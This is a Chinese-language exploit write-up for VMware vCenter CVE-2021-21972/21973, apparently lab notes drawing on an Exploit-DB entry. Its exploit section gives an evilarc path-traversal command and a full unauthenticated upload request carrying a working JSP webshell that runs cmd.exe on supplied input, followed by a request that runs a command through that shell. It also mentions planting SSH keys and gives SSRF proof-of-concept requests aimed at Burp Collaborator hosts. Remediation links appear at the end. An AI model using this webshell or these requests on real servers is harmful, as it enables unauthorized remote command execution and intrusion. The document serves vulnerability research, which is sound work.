
VMware vCenter Server RCE/SSRF[CVE-2021-

21972/3]

漏洞详情

/ui/vropspluginui/rest/services/uploadova 这个接⼝存在未授权的 tar ⽂件上传功能，且可

以路径穿越。不过这个路径穿越不是在上传请求的⽂件名处，⽽是在 tar ⽂件中的⽂件名。

在 Windows 平台攻击者可利⽤这个 endpoint 上传包含 webshell 的 tar ⽂件，或者在 Linux

平台上传公钥⾄ / home/vsphere-ui/.ssh/authorized_keys 实现 RCE。

影响范围：

VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5

U3n) 对应到安装镜像的版本： 

vCenter Server 6.5 (7515524<[vulnerable]<17590285)

vCenter Server 6.7 (<17138064) vCenter Server 7 (<17327517)

说明

翻译⾃：https://www.exploit-db.com/exploits/49602

1、Linux 平台利⽤⽅式最好是上传 SSH 公钥（如果开启 ssh 端⼝）

2、Linux 平台 upload 操作使⽤的⽤户是 vsphere-ui:users，

3、Windows 平台 upload 操作是 SYSTEM ⽤户权限

4、vCenter 6.5 <=7515524 不受此漏洞影响，因为没有 vropspluginui 这个组件（是说怎么

⽤之前⽂件读取的镜像⽆法利⽤）

5、vCenter 6.7U2(Linux appliance b13010631) 及以上版本其 WEB 服务在内存中，所以需

要持久化的利⽤⽅式（写⼊ webshell 需重启后使⽤或者 SSH 公钥写⼊）

环境搭建

使⽤ Windows Server 2016 搭载 VMware-VIM-all-6.7.0-14367737.iso



关键代码

#TODO 没仔细分析，调试环境没搭成功 

漏洞代码：vropsplugin-

service.jar!\com\vmware\vropspluginui\mvc\ServicesController#uploadOvaFile



tar ⽣成⽅法使⽤这个⼯具：https://github.com/ptoomey3/evilarc/blob/master/evilarc.py

python3 D:\repos\Poc\evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfchart
s\tc-instance\webapps\statsreport' -o win -f exp_by_cqq.tar D:\repos\xxx\upload\test_by_
cqq111.jsp

⽣成之后： 



Demo

上传 webshell： 

上传成功： 

访问 webshell：



查看版本⽅法：

命令参数：

curl -i -s -k -X $'POST'     -H $'Host: 10.x.y.z' -H $'Connection: close'     --data-bin
ary $'<env:Envelope xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:env=\"http://sc
hemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance
\">\x0a      <env:Body>\x0a      <RetrieveServiceContent xmlns=\"urn:vim25\">\x0a        
<_this type=\"ServiceInstance\">ServiceInstance</_this>\x0a      </RetrieveServiceConten
t>\x0a      </env:Body>\x0a      </env:Envelope>'     $'https://10.x.y.z/sdk'

http 请求：

POST /sdk HTTP/1.1 
Host: 10.x.y.z 
Connection: close 
 
<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xml
soap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> 
      <env:Body> 
      <RetrieveServiceContent xmlns="urn:vim25"> 
        <_this type="ServiceInstance">ServiceInstance</_this> 
      </RetrieveServiceContent> 
      </env:Body> 
      </env:Envelope>



poc

由于 / ui/vropspluginui/rest/services/uploadova 这个 endpoint 存在且仅⽀持 POST 请

求，所以 GET 这个 endpoint 如果返回 405，则粗略证明漏洞存在。 

exp

仅测试 windows 平台：1、上传 webshell

POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1 
Host: 192.168.85.146 
Connection: close 
C T l i /f d b d



Content-Type: multipart/form-data; boundary=----test 
Content-Length: 2408 
 
 
------test 
Content-Disposition: form-data; name="uploadFile"; filename="test_by_cqq.ova" 
Content-Type: text/plain 
 

 
././@LongLink0000000000000000000000000000016300000000000011215 Lustar  00000000000000..
/../../../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsr
eport/test_by_cqq111.jsp../../../../../ProgramData/VMware/vCenterServer/data/perfcharts/
tc-instance/webapps/statsreport/test0000666000000000000000000000134013753174237031127 0u
star  00000000000000<%@ page import="java.util.*,java.io.*,java.net.*"%> 
<HTML><BODY> 
<FORM METHOD="POST" NAME="myform" ACTION=""> 
<INPUT TYPE="text" NAME="cmd"> 
<INPUT TYPE="submit" VALUE="Send"> 
</FORM> 
<pre> 
<% 
if (request.getParameter("cmd") != null) { 
        out.println("Command: " + request.getParameter("cmd") + "\n<BR>"); 
        Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"
)); 
        OutputStream os = p.getOutputStream(); 
        InputStream in = p.getInputStream(); 
        DataInputStream dis = new DataInputStream(in); 
        String disr = dis.readLine(); 
        while ( disr != null ) { 
                out.println(disr); disr = dis.readLine(); } 
        } 
%> 
</pre> 
</BODY></HTML> 
------test--

2、访问 webshell

GET /statsreport/test_by_cqq111.jsp?cmd=ipconfig HTTP/1.1 
Host: 192.168.85.146 
Connection: close

SSRF

参考陈师傅的知识星球。 

/ui/vropspluginui/rest/services/getvcdetails

直接访问这个 出现 说缺少 个



直接访问这个，出现 500，说缺少⼀个 header：vcIP

查看是哪个类在处理这个 endpoint：

加⼊必须的 header：

之前没碰到这个 jdk 的 http 客户端：

rt.jar!\com\sun\xml\internal\ws\transport\http\client\HttpTransportPipe.class 



贴⼀个调⽤栈：



代码流程：



怪不得⽤ nc 收到的是乱码，原来是⽤了 https 



通过查看源码得知，还有两处 SSRF：

/testvcconnection

/testvropsconnection



 

这次发现 UA 不⼀样了，因为使⽤的库不⼀样了，这次是：java.net.URL#openConnection



poc

GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1 
Host: 192.168.85.146 
vcIP: 0tuao1eyw4tbcov9356ffq03yu4ks9.burpcollaborator.net 
vcUsername: Y3Fx 
vcPassword: Y3Fx 
reqResource: test_endpoint 
Connection: close 
 
GET /ui/vropspluginui/rest/services/testvcconnection HTTP/1.1 
Host: 192.168.85.146 
vcIP: 9kux67skser8x968qgbfo9covf15pu.burpcollaborator.net 
vcUsername: Y3Fx 
vcPassword: Y3Fx 
Connection: close 
 
GET /ui/vropspluginui/rest/services/testvropsconnection HTTP/1.1 
H t 192 168 85 146



Host: 192.168.85.146 
vropsIP: 01zony9b958ze0nz77s650tfc6ix6m.burpcollaborator.net 
vropsUsername: Y3Fx 
vropsPassword: Y3Fx 
Connection: close

修复建议

升级到最新版 CVE-2021-21972、CVE-2021-21973 漏洞缓解措施操作步骤请参考官⽅⽂

档：https://kb.vmware.com/s/article/82374

参考：

https://www.cnblogs.com/potatsoSec/p/14444897.html

http://noahblog.360.cn/vcenter-6-5-7-0-rce-lou-dong-fen-xi/

https://swarm.ptsecurity.com/unauth-rce-vmware/

https://www.exploit-db.com/exploits/49602

https://t.zsxq.com/ynUJmqN

https://t.zsxq.com/aIqVRjA


